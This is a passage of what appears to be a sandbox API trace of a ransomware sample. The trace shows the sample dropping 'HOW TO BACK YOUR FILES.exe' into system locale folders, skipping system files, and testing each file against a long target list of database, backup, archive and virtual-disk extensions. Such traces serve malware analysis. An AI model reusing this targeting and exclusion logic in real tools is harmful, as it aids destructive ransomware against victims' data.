returned="et-EE" [0108.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f550 [0108.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5024a8 [0108.394] lstrcatW (in: lpString1="et-EE", lpString2="\\" | out: lpString1="et-EE\\") returned="et-EE\\" [0108.394] lstrcatW (in: lpString1="et-EE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="et-EE\\HOW TO BACK YOUR FILES.exe") returned="et-EE\\HOW TO BACK YOUR FILES.exe" [0108.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.397] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2=".") returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="..") returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="windows") returned -1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="bootmgr") returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="temp") returned -1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="pagefile.sys") returned -1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="boot") returned 1 [0108.397] lstrcmpiW (lpString1="fi-FI", lpString2="ids.txt") returned -1 [0108.398] lstrcmpiW (lpString1="fi-FI", lpString2="ntuser.dat") returned -1 [0108.398] lstrcmpiW (lpString1="fi-FI", lpString2="perflogs") returned -1 [0108.398] lstrcmpiW (lpString1="fi-FI", lpString2="MSBuild") returned -1 [0108.398] lstrlenW (lpString="fi-FI") returned 5 [0108.398] lstrcpyW (in: lpString1=0x241e8ae, lpString2="fi-FI" | out: lpString1="fi-FI") returned="fi-FI" [0108.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f568 [0108.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502428 [0108.398] lstrcatW (in: lpString1="fi-FI", lpString2="\\" | out: lpString1="fi-FI\\") returned="fi-FI\\" [0108.398] lstrcatW (in: lpString1="fi-FI\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="fi-FI\\HOW TO BACK YOUR FILES.exe") returned="fi-FI\\HOW TO BACK YOUR FILES.exe" [0108.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.400] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0108.400] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.400] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.400] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".") returned 1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="..") returned 1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="windows") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="bootmgr") returned 1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="temp") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="pagefile.sys") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="boot") returned 1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ids.txt") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="ntuser.dat") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="perflogs") returned -1 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="MSBuild") returned -1 [0108.401] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0108.401] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FlickAnimation.avi" | out: lpString1="FlickAnimation.avi") returned="FlickAnimation.avi" [0108.401] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0108.401] lstrlenW (lpString="Athena865") returned 9 [0108.401] lstrcmpiW (lpString1="ation.avi", lpString2="Athena865") returned 1 [0108.401] lstrlenW (lpString=".dll") returned 4 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".dll") returned 1 [0108.401] lstrlenW (lpString=".lnk") returned 4 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".lnk") returned 1 [0108.401] lstrlenW (lpString=".ini") returned 4 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".ini") returned 1 [0108.401] lstrlenW (lpString=".sys") returned 4 [0108.401] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".sys") returned 1 [0108.401] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0108.401] lstrlenW (lpString="bak") returned 3 [0108.401] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1 [0108.401] lstrlenW (lpString="ba_") returned 3 [0108.401] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1 [0108.401] lstrlenW (lpString="dbb") returned 3 [0108.401] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1 [0108.401] lstrlenW (lpString="vmdk") returned 4 [0108.402] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1 [0108.402] lstrlenW (lpString="rar") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1 [0108.402] lstrlenW (lpString="zip") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1 [0108.402] lstrlenW (lpString="tgz") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1 [0108.402] lstrlenW (lpString="vbox") returned 4 [0108.402] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1 [0108.402] lstrlenW (lpString="vdi") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1 [0108.402] lstrlenW (lpString="vhd") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1 [0108.402] lstrlenW (lpString="vhdx") returned 4 [0108.402] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1 [0108.402] lstrlenW (lpString="avhd") returned 4 [0108.402] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1 [0108.402] lstrlenW (lpString="db") returned 2 [0108.402] lstrcmpiW (lpString1="vi", lpString2="db") returned 1 [0108.402] lstrlenW (lpString="db2") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1 [0108.402] lstrlenW (lpString="db3") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1 [0108.402] lstrlenW (lpString="dbf") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1 [0108.402] lstrlenW (lpString="mdf") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1 [0108.402] lstrlenW (lpString="mdb") returned 3 [0108.402] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1 [0108.402] lstrlenW (lpString="sql") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1 [0108.403] lstrlenW (lpString="sqlite") returned 6 [0108.403] lstrcmpiW (lpString1="on.avi", lpString2="sqlite") returned -1 [0108.403] lstrlenW (lpString="sqlite3") returned 7 [0108.403] lstrcmpiW (lpString1="ion.avi", lpString2="sqlite3") returned -1 [0108.403] lstrlenW (lpString="sqlitedb") returned 8 [0108.403] lstrcmpiW (lpString1="tion.avi", lpString2="sqlitedb") returned 1 [0108.403] lstrlenW (lpString="xml") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1 [0108.403] lstrlenW (lpString="$er") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1 [0108.403] lstrlenW (lpString="4dd") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1 [0108.403] lstrlenW (lpString="4dl") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1 [0108.403] lstrlenW (lpString="^^^") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1 [0108.403] lstrlenW (lpString="abs") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1 [0108.403] lstrlenW (lpString="abx") returned 3 [0108.403] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1 [0108.403] lstrlenW (lpString="accdb") returned 5 [0108.403] lstrcmpiW (lpString1="n.avi", lpString2="accdb") returned 1 [0108.403] lstrlenW (lpString="accdc") returned 5 [0108.403] lstrcmpiW (lpString1="n.avi", lpString2="accdc") returned 1 [0108.403] lstrlenW (lpString="accde") returned 5 [0108.403] lstrcmpiW (lpString1="n.avi", lpString2="accde") returned 1 [0108.403] lstrlenW (lpString="accdr") returned 5 [0108.403] lstrcmpiW (lpString1="n.avi", lpString2="accdr") returned 1 [0108.403] lstrlenW (lpString="accdt") returned 5 [0108.403] lstrcmpiW (lpString1="n.avi", lpString2="accdt") returned 1 [0108.404] lstrlenW (lpString="accdw") returned 5 [0108.404] lstrcmpiW (lpString1="n.avi", lpString2="accdw") returned 1 [0108.404] lstrlenW (lpString="accft") returned 5 [0108.404] lstrcmpiW (lpString1="n.avi", lpString2="accft") returned 1 [0108.404] lstrlenW (lpString="adb") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0108.404] lstrlenW (lpString="adb") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0108.404] lstrlenW (lpString="ade") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1 [0108.404] lstrlenW (lpString="adf") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1 [0108.404] lstrlenW (lpString="adn") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1 [0108.404] lstrlenW (lpString="adp") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1 [0108.404] lstrlenW (lpString="alf") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1 [0108.404] lstrlenW (lpString="ask") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1 [0108.404] lstrlenW (lpString="btr") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1 [0108.404] lstrlenW (lpString="cat") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1 [0108.404] lstrlenW (lpString="cdb") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1 [0108.404] lstrlenW (lpString="ckp") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1 [0108.404] lstrlenW (lpString="cma") returned 3 [0108.404] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1 [0108.404] lstrlenW (lpString="cpd") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1 [0108.405] lstrlenW (lpString="dacpac") returned 6 [0108.405] lstrcmpiW (lpString1="on.avi", lpString2="dacpac") returned 1 [0108.405] lstrlenW (lpString="dad") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1 [0108.405] lstrlenW (lpString="dadiagrams") returned 10 [0108.405] lstrcmpiW (lpString1="mation.avi", lpString2="dadiagrams") returned 1 [0108.405] lstrlenW (lpString="daschema") returned 8 [0108.405] lstrcmpiW (lpString1="tion.avi", lpString2="daschema") returned 1 [0108.405] lstrlenW (lpString="db-journal") returned 10 [0108.405] lstrcmpiW (lpString1="mation.avi", lpString2="db-journal") returned 1 [0108.405] lstrlenW (lpString="db-shm") returned 6 [0108.405] lstrcmpiW (lpString1="on.avi", lpString2="db-shm") returned 1 [0108.405] lstrlenW (lpString="db-wal") returned 6 [0108.405] lstrcmpiW (lpString1="on.avi", lpString2="db-wal") returned 1 [0108.405] lstrlenW (lpString="dbc") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1 [0108.405] lstrlenW (lpString="dbs") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1 [0108.405] lstrlenW (lpString="dbt") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1 [0108.405] lstrlenW (lpString="dbv") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1 [0108.405] lstrlenW (lpString="dbx") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1 [0108.405] lstrlenW (lpString="dcb") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1 [0108.405] lstrlenW (lpString="dct") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1 [0108.405] lstrlenW (lpString="dcx") returned 3 [0108.405] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1 [0108.406] lstrlenW (lpString="ddl") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1 [0108.406] lstrlenW (lpString="dlis") returned 4 [0108.406] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1 [0108.406] lstrlenW (lpString="dp1") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1 [0108.406] lstrlenW (lpString="dqy") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1 [0108.406] lstrlenW (lpString="dsk") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1 [0108.406] lstrlenW (lpString="dsn") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1 [0108.406] lstrlenW (lpString="dtsx") returned 4 [0108.406] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1 [0108.406] lstrlenW (lpString="dxl") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1 [0108.406] lstrlenW (lpString="eco") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1 [0108.406] lstrlenW (lpString="ecx") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1 [0108.406] lstrlenW (lpString="edb") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1 [0108.406] lstrlenW (lpString="epim") returned 4 [0108.406] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1 [0108.406] lstrlenW (lpString="fcd") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1 [0108.406] lstrlenW (lpString="fdb") returned 3 [0108.406] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1 [0108.406] lstrlenW (lpString="fic") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1 [0108.407] lstrlenW (lpString="flexolibrary") returned 12 [0108.407] lstrcmpiW (lpString1="nimation.avi", lpString2="flexolibrary") returned 1 [0108.407] lstrlenW (lpString="fm5") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1 [0108.407] lstrlenW (lpString="fmp") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1 [0108.407] lstrlenW (lpString="fmp12") returned 5 [0108.407] lstrcmpiW (lpString1="n.avi", lpString2="fmp12") returned 1 [0108.407] lstrlenW (lpString="fmpsl") returned 5 [0108.407] lstrcmpiW (lpString1="n.avi", lpString2="fmpsl") returned 1 [0108.407] lstrlenW (lpString="fol") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1 [0108.407] lstrlenW (lpString="fp3") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1 [0108.407] lstrlenW (lpString="fp4") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1 [0108.407] lstrlenW (lpString="fp5") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1 [0108.407] lstrlenW (lpString="fp7") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1 [0108.407] lstrlenW (lpString="fpt") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1 [0108.407] lstrlenW (lpString="frm") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1 [0108.407] lstrlenW (lpString="gdb") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0108.407] lstrlenW (lpString="gdb") returned 3 [0108.407] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0108.407] lstrlenW (lpString="grdb") returned 4 [0108.408] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1 [0108.408] lstrlenW (lpString="gwi") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1 [0108.408] lstrlenW (lpString="hdb") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1 [0108.408] lstrlenW (lpString="his") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="his") returned -1 [0108.408] lstrlenW (lpString="ib") returned 2 [0108.408] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1 [0108.408] lstrlenW (lpString="idb") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1 [0108.408] lstrlenW (lpString="ihx") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1 [0108.408] lstrlenW (lpString="itdb") returned 4 [0108.408] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1 [0108.408] lstrlenW (lpString="itw") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1 [0108.408] lstrlenW (lpString="jet") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1 [0108.408] lstrlenW (lpString="jtx") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1 [0108.408] lstrlenW (lpString="kdb") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1 [0108.408] lstrlenW (lpString="kexi") returned 4 [0108.408] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1 [0108.408] lstrlenW (lpString="kexic") returned 5 [0108.408] lstrcmpiW (lpString1="n.avi", lpString2="kexic") returned 1 [0108.408] lstrlenW (lpString="kexis") returned 5 [0108.408] lstrcmpiW (lpString1="n.avi", lpString2="kexis") returned 1 [0108.408] lstrlenW (lpString="lgc") returned 3 [0108.408] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1 [0108.409] lstrlenW (lpString="lwx") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1 [0108.409] lstrlenW (lpString="maf") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1 [0108.409] lstrlenW (lpString="maq") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1 [0108.409] lstrlenW (lpString="mar") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1 [0108.409] lstrlenW (lpString="marshal") returned 7 [0108.409] lstrcmpiW (lpString1="ion.avi", lpString2="marshal") returned -1 [0108.409] lstrlenW (lpString="mas") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1 [0108.409] lstrlenW (lpString="mav") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1 [0108.409] lstrlenW (lpString="maw") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1 [0108.409] lstrlenW (lpString="mdbhtml") returned 7 [0108.409] lstrcmpiW (lpString1="ion.avi", lpString2="mdbhtml") returned -1 [0108.409] lstrlenW (lpString="mdn") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1 [0108.409] lstrlenW (lpString="mdt") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1 [0108.409] lstrlenW (lpString="mfd") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1 [0108.409] lstrlenW (lpString="mpd") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1 [0108.409] lstrlenW (lpString="mrg") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1 [0108.409] lstrlenW (lpString="mud") returned 3 [0108.409] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1 [0108.409] lstrlenW (lpString="mwb") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1 [0108.410] lstrlenW (lpString="myd") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1 [0108.410] lstrlenW (lpString="ndf") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1 [0108.410] lstrlenW (lpString="nnt") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1 [0108.410] lstrlenW (lpString="nrmlib") returned 6 [0108.410] lstrcmpiW (lpString1="on.avi", lpString2="nrmlib") returned 1 [0108.410] lstrlenW (lpString="ns2") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1 [0108.410] lstrlenW (lpString="ns3") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1 [0108.410] lstrlenW (lpString="ns4") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1 [0108.410] lstrlenW (lpString="nsf") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1 [0108.410] lstrlenW (lpString="nv") returned 2 [0108.410] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1 [0108.410] lstrlenW (lpString="nv2") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1 [0108.410] lstrlenW (lpString="nwdb") returned 4 [0108.410] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1 [0108.410] lstrlenW (lpString="nyf") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1 [0108.410] lstrlenW (lpString="odb") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0108.410] lstrlenW (lpString="odb") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0108.410] lstrlenW (lpString="oqy") returned 3 [0108.410] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1 [0108.411] lstrlenW (lpString="ora") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1 [0108.411] lstrlenW (lpString="orx") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1 [0108.411] lstrlenW (lpString="owc") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1 [0108.411] lstrlenW (lpString="p96") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1 [0108.411] lstrlenW (lpString="p97") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1 [0108.411] lstrlenW (lpString="pan") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1 [0108.411] lstrlenW (lpString="pdb") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1 [0108.411] lstrlenW (lpString="pdm") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1 [0108.411] lstrlenW (lpString="pnz") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1 [0108.411] lstrlenW (lpString="qry") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1 [0108.411] lstrlenW (lpString="qvd") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1 [0108.411] lstrlenW (lpString="rbf") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1 [0108.411] lstrlenW (lpString="rctd") returned 4 [0108.411] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1 [0108.411] lstrlenW (lpString="rod") returned 3 [0108.411] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1 [0108.411] lstrlenW (lpString="rodx") returned 4 [0108.411] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1 [0108.411] lstrlenW (lpString="rpd") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1 [0108.412] lstrlenW (lpString="rsd") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1 [0108.412] lstrlenW (lpString="sas7bdat") returned 8 [0108.412] lstrcmpiW (lpString1="tion.avi", lpString2="sas7bdat") returned 1 [0108.412] lstrlenW (lpString="sbf") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1 [0108.412] lstrlenW (lpString="scx") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1 [0108.412] lstrlenW (lpString="sdb") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1 [0108.412] lstrlenW (lpString="sdc") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1 [0108.412] lstrlenW (lpString="sdf") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1 [0108.412] lstrlenW (lpString="sis") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1 [0108.412] lstrlenW (lpString="spq") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1 [0108.412] lstrlenW (lpString="te") returned 2 [0108.412] lstrcmpiW (lpString1="vi", lpString2="te") returned 1 [0108.412] lstrlenW (lpString="teacher") returned 7 [0108.412] lstrcmpiW (lpString1="ion.avi", lpString2="teacher") returned -1 [0108.412] lstrlenW (lpString="tmd") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1 [0108.412] lstrlenW (lpString="tps") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1 [0108.412] lstrlenW (lpString="trc") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0108.412] lstrlenW (lpString="trc") returned 3 [0108.412] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0108.413] lstrlenW (lpString="trm") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1 [0108.413] lstrlenW (lpString="udb") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1 [0108.413] lstrlenW (lpString="udl") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1 [0108.413] lstrlenW (lpString="usr") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1 [0108.413] lstrlenW (lpString="v12") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1 [0108.413] lstrlenW (lpString="vis") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1 [0108.413] lstrlenW (lpString="vpd") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1 [0108.413] lstrlenW (lpString="vvv") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1 [0108.413] lstrlenW (lpString="wdb") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1 [0108.413] lstrlenW (lpString="wmdb") returned 4 [0108.413] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1 [0108.413] lstrlenW (lpString="wrk") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1 [0108.413] lstrlenW (lpString="xdb") returned 3 [0108.413] 